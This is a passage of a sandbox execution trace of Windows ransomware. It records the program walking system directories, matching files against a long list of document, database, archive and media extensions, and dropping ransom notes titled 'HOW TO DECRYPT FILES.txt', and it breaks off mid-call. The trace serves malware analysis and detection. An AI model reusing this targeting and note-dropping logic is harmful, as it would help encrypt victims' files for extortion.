(pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Xml.84e525b7#\\f6079e54a0e3317ef2f507e692819102\\System.Xml.Serialization.ni.dll", pszSpec="*.sql") returned 0 [0124.450] lstrlenA (lpString="*.sql") returned 5 [0124.450] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Xml.84e525b7#\\f6079e54a0e3317ef2f507e692819102\\System.Xml.Serialization.ni.dll", pszSpec="*.mdb") returned 0 [0124.450] lstrlenA (lpString="*.mdb") returned 5 [0124.450] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Xml.84e525b7#\\f6079e54a0e3317ef2f507e692819102\\System.Xml.Serialization.ni.dll", pszSpec="*.fdb") returned 0 [0124.450] lstrlenA (lpString="*.fdb") returned 5 [0124.450] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Xml.84e525b7#\\f6079e54a0e3317ef2f507e692819102\\System.Xml.Serialization.ni.dll", pszSpec="*.wab") returned 0 [0124.450] lstrlenA (lpString="*.wab") returned 5 [0124.450] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Xml.84e525b7#\\f6079e54a0e3317ef2f507e692819102\\System.Xml.Serialization.ni.dll", pszSpec="*.dat") returned 0 [0124.450] lstrlenA (lpString="*.dat") returned 5 [0124.450] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Xml.84e525b7#\\f6079e54a0e3317ef2f507e692819102\\System.Xml.Serialization.ni.dll", pszSpec="*.txt") returned 0 [0124.450] lstrlenA (lpString="*.txt") returned 5 [0124.450] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Xml.84e525b7#\\f6079e54a0e3317ef2f507e692819102\\System.Xml.Serialization.ni.dll", pszSpec="*.jpeg") returned 0 [0124.450] lstrlenA (lpString="*.jpeg") returned 6 [0124.451] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Xml.84e525b7#\\f6079e54a0e3317ef2f507e692819102\\System.Xml.Serialization.ni.dll", pszSpec="*.jpg") returned 0 [0124.451] lstrlenA (lpString="*.jpg") returned 5 [0124.451] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Xml.84e525b7#\\f6079e54a0e3317ef2f507e692819102\\System.Xml.Serialization.ni.dll", pszSpec="*.png") returned 0 [0124.451] lstrlenA (lpString="*.png") returned 5 [0124.451] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Xml.84e525b7#\\f6079e54a0e3317ef2f507e692819102\\System.Xml.Serialization.ni.dll", pszSpec="*.php") returned 0 [0124.451] lstrlenA (lpString="*.php") returned 5 [0124.451] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Xml.84e525b7#\\f6079e54a0e3317ef2f507e692819102\\System.Xml.Serialization.ni.dll", pszSpec="*.cs") returned 0 [0124.451] lstrlenA (lpString="*.cs") returned 4 [0124.451] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Xml.84e525b7#\\f6079e54a0e3317ef2f507e692819102\\System.Xml.Serialization.ni.dll", pszSpec="*.cpp") returned 0 [0124.451] lstrlenA (lpString="*.cpp") returned 5 [0124.451] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Xml.84e525b7#\\f6079e54a0e3317ef2f507e692819102\\System.Xml.Serialization.ni.dll", pszSpec="*.rar") returned 0 [0124.451] lstrlenA (lpString="*.rar") returned 5 [0124.451] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Xml.84e525b7#\\f6079e54a0e3317ef2f507e692819102\\System.Xml.Serialization.ni.dll", pszSpec="*.zip") returned 0 [0124.451] lstrlenA (lpString="*.zip") returned 5 [0124.451] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Xml.84e525b7#\\f6079e54a0e3317ef2f507e692819102\\System.Xml.Serialization.ni.dll", pszSpec="*.html") returned 0 [0124.451] lstrlenA (lpString="*.html") returned 6 [0124.451] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Xml.84e525b7#\\f6079e54a0e3317ef2f507e692819102\\System.Xml.Serialization.ni.dll", pszSpec="*.htm") returned 0 [0124.451] lstrlenA (lpString="*.htm") returned 5 [0124.451] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Xml.84e525b7#\\f6079e54a0e3317ef2f507e692819102\\System.Xml.Serialization.ni.dll", pszSpec="*.xlsx") returned 0 [0124.451] lstrlenA (lpString="*.xlsx") returned 6 [0124.452] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Xml.84e525b7#\\f6079e54a0e3317ef2f507e692819102\\System.Xml.Serialization.ni.dll", pszSpec="*.xls") returned 0 [0124.452] lstrlenA (lpString="*.xls") returned 5 [0124.452] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Xml.84e525b7#\\f6079e54a0e3317ef2f507e692819102\\System.Xml.Serialization.ni.dll", pszSpec="*.mp4") returned 0 [0124.452] lstrlenA (lpString="*.mp4") returned 5 [0124.452] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Xml.84e525b7#\\f6079e54a0e3317ef2f507e692819102\\System.Xml.Serialization.ni.dll", pszSpec="*.ppt") returned 0 [0124.452] lstrlenA (lpString="*.ppt") returned 5 [0124.452] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Xml.84e525b7#\\f6079e54a0e3317ef2f507e692819102\\System.Xml.Serialization.ni.dll", pszSpec="*.pptx") returned 0 [0124.452] lstrlenA (lpString="*.pptx") returned 6 [0124.452] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Xml.84e525b7#\\f6079e54a0e3317ef2f507e692819102\\System.Xml.Serialization.ni.dll", pszSpec="*.doc") returned 0 [0124.452] lstrlenA (lpString="*.doc") returned 5 [0124.452] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Xml.84e525b7#\\f6079e54a0e3317ef2f507e692819102\\System.Xml.Serialization.ni.dll", pszSpec="*.dot") returned 0 [0124.452] lstrlenA (lpString="*.dot") returned 5 [0124.452] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Xml.84e525b7#\\f6079e54a0e3317ef2f507e692819102\\System.Xml.Serialization.ni.dll", pszSpec="*.docx") returned 0 [0124.452] lstrlenA (lpString="*.docx") returned 6 [0124.452] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Xml.84e525b7#\\f6079e54a0e3317ef2f507e692819102\\System.Xml.Serialization.ni.dll", pszSpec="*.7z") returned 0 [0124.452] lstrlenA (lpString="*.7z") returned 4 [0124.452] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Xml.84e525b7#\\f6079e54a0e3317ef2f507e692819102\\System.Xml.Serialization.ni.dll", pszSpec="*.tar") returned 0 [0124.453] lstrlenA (lpString="*.tar") returned 5 [0124.453] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Xml.84e525b7#\\f6079e54a0e3317ef2f507e692819102\\System.Xml.Serialization.ni.dll", pszSpec="*.bz2") returned 0 [0124.453] lstrlenA (lpString="*.bz2") returned 5 [0124.453] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Xml.84e525b7#\\f6079e54a0e3317ef2f507e692819102\\System.Xml.Serialization.ni.dll", pszSpec="*.gz") returned 0 [0124.453] lstrlenA (lpString="*.gz") returned 4 [0124.453] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Xml.84e525b7#\\f6079e54a0e3317ef2f507e692819102\\System.Xml.Serialization.ni.dll", pszSpec="*.mkv") returned 0 [0124.453] lstrlenA (lpString="*.mkv") returned 5 [0124.453] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Xml.84e525b7#\\f6079e54a0e3317ef2f507e692819102\\System.Xml.Serialization.ni.dll", pszSpec="*.eml") returned 0 [0124.453] lstrlenA (lpString="*.eml") returned 5 [0124.453] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Xml.84e525b7#\\f6079e54a0e3317ef2f507e692819102\\System.Xml.Serialization.ni.dll", pszSpec="*.msg") returned 0 [0124.453] lstrlenA (lpString="*.msg") returned 5 [0124.453] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Xml.84e525b7#\\f6079e54a0e3317ef2f507e692819102\\System.Xml.Serialization.ni.dll", pszSpec="*.edb") returned 0 [0124.453] lstrlenA (lpString="*.edb") returned 5 [0124.453] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Xml.84e525b7#\\f6079e54a0e3317ef2f507e692819102\\System.Xml.Serialization.ni.dll", pszSpec="*.accdb") returned 0 [0124.453] lstrlenA (lpString="*.accdb") returned 7 [0124.453] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Xml.84e525b7#\\f6079e54a0e3317ef2f507e692819102\\System.Xml.Serialization.ni.dll", pszSpec="*.odb") returned 0 [0124.453] lstrlenA (lpString="*.odb") returned 5 [0124.454] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Xml.84e525b7#\\f6079e54a0e3317ef2f507e692819102\\System.Xml.Serialization.ni.dll", pszSpec="*.java") returned 0 [0124.454] lstrlenA (lpString="*.java") returned 6 [0124.454] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Xml.84e525b7#\\f6079e54a0e3317ef2f507e692819102\\System.Xml.Serialization.ni.dll", pszSpec="*.asm") returned 0 [0124.454] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb7c4e150, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xb7c4e150, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xb7c4e150, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x134, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Xml.Serialization.ni.dll.aux", cAlternateFileName="SYSTEM~1.AUX")) returned 1 [0124.454] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0124.454] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="System.Xml.Serialization.ni.dll.aux") returned -1 [0124.454] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="System.Xml.Serialization.ni.dll.aux") returned -1 [0124.455] lstrcmpiA (lpString1="", lpString2="System.Xml.Serialization.ni.dll.aux") returned -1 [0124.455] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Xml.84e525b7#\\f6079e54a0e3317ef2f507e692819102\\System.Xml.Serialization.ni.dll") returned="System.Xml.Serialization.ni.dll" [0124.455] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Xml.84e525b7#\\f6079e54a0e3317ef2f507e692819102\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Xml.84e525b7#\\f6079e54a0e3317ef2f507e692819102\\") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Xml.84e525b7#\\f6079e54a0e3317ef2f507e692819102\\" [0124.455] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Xml.84e525b7#\\f6079e54a0e3317ef2f507e692819102\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Xml.84e525b7#\\f6079e54a0e3317ef2f507e692819102\\") returned="" [0124.455] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Xml.84e525b7#\\f6079e54a0e3317ef2f507e692819102\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Xml.84e525b7#\\f6079e54a0e3317ef2f507e692819102\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Xml.84e525b7#\\f6079e54a0e3317ef2f507e692819102\\HOW TO DECRYPT FILES.txt" [0124.455] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Xml.84e525b7#\\f6079e54a0e3317ef2f507e692819102\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system.xml.84e525b7#\\f6079e54a0e3317ef2f507e692819102\\how to decrypt files.txt")) returned 0x20 [0124.455] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Xml.84e525b7#\\f6079e54a0e3317ef2f507e692819102\\", lpString2="System.Xml.Serialization.ni.dll.aux" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Xml.84e525b7#\\f6079e54a0e3317ef2f507e692819102\\System.Xml.Serialization.ni.dll.aux") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Xml.84e525b7#\\f6079e54a0e3317ef2f507e692819102\\System.Xml.Serialization.ni.dll.aux" [0124.455] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Xml.84e525b7#\\f6079e54a0e3317ef2f507e692819102\\System.Xml.Serialization.ni.dll.aux", pszSpec="*.ems") returned 0 [0124.456] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb7c4e150, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xb7c4e150, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xb7c4e150, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x134, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Xml.Serialization.ni.dll.aux", cAlternateFileName="SYSTEM~1.AUX")) returned 0 [0124.456] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0124.456] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb7c4e150, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xb7c4e150, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xb7c4e150, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="f6079e54a0e3317ef2f507e692819102", cAlternateFileName="F6079E~1")) returned 0 [0124.456] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0124.456] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9558bf10, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x9558bf10, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x9558bf10, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x790053, dwReserved1=0x740073, cFileName="System.Xml.Linq", cAlternateFileName="SYSTEM~1.LIN")) returned 1 [0124.456] lstrcmpA (lpString1=".", lpString2="System.Xml.Linq") returned -1 [0124.456] lstrcmpA (lpString1="..", lpString2="System.Xml.Linq") returned -1 [0124.456] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\*.*") returned="*.*" [0124.456] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\", lpString2="System.Xml.Linq" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Xml.Linq") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Xml.Linq" [0124.457] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Xml.Linq\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9558bf10, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x9558bf10, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x9558bf10, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0124.556] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0124.556] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9558bf10, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x9558bf10, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x9558bf10, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0124.556] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0124.556] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0124.556] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9558bf10, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x9558bf10, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x9558bf10, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="f64e54c058a7f03b91081ec68422c2e6", cAlternateFileName="F64E54~1")) returned 1 [0124.556] lstrcmpA (lpString1=".", lpString2="f64e54c058a7f03b91081ec68422c2e6") returned -1 [0124.556] lstrcmpA (lpString1="..", lpString2="f64e54c058a7f03b91081ec68422c2e6") returned -1 [0124.556] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Xml.Linq\\*.*") returned="*.*" [0124.556] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Xml.Linq\\", lpString2="f64e54c058a7f03b91081ec68422c2e6" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Xml.Linq\\f64e54c058a7f03b91081ec68422c2e6") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Xml.Linq\\f64e54c058a7f03b91081ec68422c2e6" [0124.557] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Xml.Linq\\f64e54c058a7f03b91081ec68422c2e6\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9558bf10, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x9558bf10, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x9558bf10, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0124.557] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0124.557] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9558bf10, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x9558bf10, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x9558bf10, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0124.557] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0124.557] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0124.557] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95565db0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x95565db0, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x9558bf10, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x75200, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="System.Xml.Linq.ni.dll", cAlternateFileName="SYSTEM~1.DLL")) returned 1 [0124.557] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0124.557] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="System.Xml.Linq.ni.dll") returned -1 [0124.558] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="System.Xml.Linq.ni.dll") returned -1 [0124.558] lstrcmpiA (lpString1="", lpString2="System.Xml.Linq.ni.dll") returned -1 [0124.558] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Xml.Linq\\f64e54c058a7f03b91081ec68422c2e6\\*.*") returned="*.*" [0124.558] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Xml.Linq\\f64e54c058a7f03b91081ec68422c2e6\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Xml.Linq\\f64e54c058a7f03b91081ec68422c2e6\\") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Xml.Linq\\f64e54c058a7f03b91081ec68422c2e6\\" [0124.558] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Xml.Linq\\f64e54c058a7f03b91081ec68422c2e6\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Xml.Linq\\f64e54c058a7f03b91081ec68422c2e6\\") returned="" [0124.558] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Xml.Linq\\f64e54c058a7f03b91081ec68422c2e6\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Xml.Linq\\f64e54c058a7f03b91081ec68422c2e6\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Xml.Linq\\f64e54c058a7f03b91081ec68422c2e6\\HOW TO DECRYPT FILES.txt" [0124.558] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Xml.Linq\\f64e54c058a7f03b91081ec68422c2e6\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system.xml.linq\\f64e54c058a7f03b91081ec68422c2e6\\how to decrypt files.txt")) returned 0xffffffff [0124.558] CreateFileA (lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Xml.Linq\\f64e54c058a7f03b91081ec68422c2e6\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system.xml.linq\\f64e54c058a7f03b91081ec68422c2e6\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0124.602] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0124.602] CloseHandle (hObject=0x90) returned 1 [0124.603] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Xml.Linq\\f64e54c058a7f03b91081ec68422c2e6\\", lpString2="System.Xml.Linq.ni.dll" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Xml.Linq\\f64e54c058a7f03b91081ec68422c2e6\\System.Xml.Linq.ni.dll") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Xml.Linq\\f64e54c058a7f03b91081ec68422c2e6\\System.Xml.Linq.ni.dll" [0124.603] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Xml.Linq\\f64e54c058a7f03b91081ec68422c2e6\\System.Xml.Linq.ni.dll", pszSpec="*.ems") returned 0 [0124.603] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9558bf10, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x9558bf10, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x9558bf10, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x368, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Xml.Linq.ni.dll.aux", cAlternateFileName="SYSTEM~1.AUX")) returned 1 [0124.603] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0124.603] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="System.Xml.Linq.ni.dll.aux") returned -1 [0124.603] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="System.Xml.Linq.ni.dll.aux") returned -1 [0124.603] lstrcmpiA (lpString1="", lpString2="System.Xml.Linq.ni.dll.aux") returned -1 [0124.603] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Xml.Linq\\f64e54c058a7f03b91081ec68422c2e6\\System.Xml.Linq.ni.dll") returned="System.Xml.Linq.ni.dll" [0124.603] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Xml.Linq\\f64e54c058a7f03b91081ec68422c2e6\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Xml.Linq\\f64e54c058a7f03b91081ec68422c2e6\\") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Xml.Linq\\f64e54c058a7f03b91081ec68422c2e6\\" [0124.604] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Xml.Linq\\f64e54c058a7f03b91081ec68422c2e6\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Xml.Linq\\f64e54c058a7f03b91081ec68422c2e6\\") returned="" [0124.604] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Xml.Linq\\f64e54c058a7f03b91081ec68422c2e6\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Xml.Linq\\f64e54c058a7f03b91081ec68422c2e6\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Xml.Linq\\f64e54c058a7f03b91081ec68422c2e6\\HOW TO DECRYPT FILES.txt" [0124.604] GetFileAttributesA 